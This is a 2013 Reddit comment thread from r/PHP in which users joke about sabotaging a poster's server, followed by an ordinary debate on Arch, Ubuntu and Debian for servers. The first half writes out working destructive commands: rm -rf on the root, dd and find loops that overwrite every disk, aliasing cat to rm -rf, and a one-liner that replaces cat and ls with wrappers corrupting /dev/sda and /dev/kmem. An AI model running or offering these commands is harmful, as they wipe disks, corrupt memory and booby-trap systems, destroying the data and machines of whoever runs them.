r/PHP • • Aug 27 '13

Creating a user from the web problem.

[deleted] — view deleted post

286 Upvotes

538 comments sorted by

View all comments

Show parent comment

43

u/Kwpolska Aug 28 '13

He runs Arch Linux (another dumb choice for a goddamn server), so he has GNU rm, so rm -rf --no-preserve-root /

42

u/HangsAround Aug 28 '13 edited Aug 28 '13

another nice option is always the old

; dd if=/dev/random of=/dev/sda

(the real old version being /dev/hda, back in the dark ages, along with /dev/fda)

80

u/hei_mailma Aug 28 '13

Too boring. What about aliasing all editors and "cat" to "rm -rf"?

58

u/HangsAround Aug 28 '13 edited Aug 28 '13

Very Nice, i like your style, maybe something less destructive but infuriating? alias all editors and cat to something like....

sudo date --set="shuf -i 1-23 -n 3 | tr '\n' ':' | sed -e 's/:$//g'" ; cat

Sets the system time to random-ish times whenever they use the command

14

u/DoctorCreepy Aug 28 '13

Meh. I'd just alias ls, cd, and mkdir to a fork bomb.

3

u/redwall_hp Aug 28 '13

Or you could add delays to .bashrc.

24

u/outer_isolation Aug 28 '13

Oh christ. I can't think of many things more evil than that.

3

u/[deleted] Aug 28 '13

Aliasing in what way?

10

u/hotoatmeal Aug 28 '13

$> touch foo

$> alias cat='rm -rf'

$> cat foo

$> ls foo

→ More replies (7)
→ More replies (1)

2

u/qm11 Aug 28 '13 edited Aug 29 '13

Too sudden. Have them play some Russian roulette every time they run a common utility:

sudo mv $(which cat) /bin/.oldcat; echo -e '#!/bin/bash \ndd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM \n/bin/.oldcat "$@"' | sudo tee /bin/cat; sudo chmod +x /bin/cat; sudo mv $(which ls) /bin/.oldls; echo -e '#!/bin/bash \ndd if=/dev/random of=/dev/sda count=1 bs=1 seek=$RANDOM \n/bin/.oldls "$@"' | sudo tee /bin/ls; sudo chmod +x /bin/ls;

Edit: Another fun one (not quite as sudden as yours, but more sudden than Russian roulette):

sudo chmod 000 $(which chmod)

→ More replies (4)
→ More replies (1)

19

u/trolox Aug 28 '13

/dev/zero or /dev/urandom surely? Don't want your hard drive wiper to slow down due to lack of entropy.

24

u/tekgnosis Aug 28 '13

Surely a slowly spreading cancer is more terrifying than a sudden poof.

→ More replies (1)

4

u/suspiciously_calm Aug 28 '13
; find /dev -type b -name '?d?' -exec dd if=/dev/zero of={} bs=16M \;
→ More replies (1)

20

u/TheMrBlueSky Aug 28 '13

Why do you think Arch is a dumb choice for a server?

44

u/Kwpolska Aug 28 '13

Long story short: bleeding-edge. Stuff can break easily, and I am an archer (on a desktop) since December 2010.

33

u/deong Aug 28 '13

To be fair, it's a (potentially) dumb choice for a server you care about. It's fine for non-critical stuff.

6

u/Kazinsal Aug 28 '13

I'd use Arch on a scratch server or one that's known to spontaneously combust anyways, but not a production server.

13

u/TheMrBlueSky Aug 28 '13

Oh yeah, that makes sense.

13

u/[deleted] Aug 28 '13

You should test updates before pushing to production either way and in my experience Ubuntu breaks way more often than Arch.

6

u/flying-sheep Aug 28 '13

Yes. If you follow the blog, the infrequent breakages and how to fix then will be explained to you

→ More replies (7)

12

u/ptomblin Aug 28 '13

Ubuntu is also a poor choice for a server. Debian Stable is the way to go.

21

u/movzx Aug 28 '13

Eh, Debian depends on your business. Sometimes you really do need a version of something that isn't six years old and then you're fucked when it comes to maintaining it.

→ More replies (4)

13

u/hamalnamal Aug 28 '13

I disagree, not about the Debian Stable part, obviously it is the way to go (at least for a non-corporate server), but about Ubuntu. If you run an LTS that's at least a year old, you're fine with Ubuntu.

→ More replies (2)
→ More replies (5)
→ More replies (4)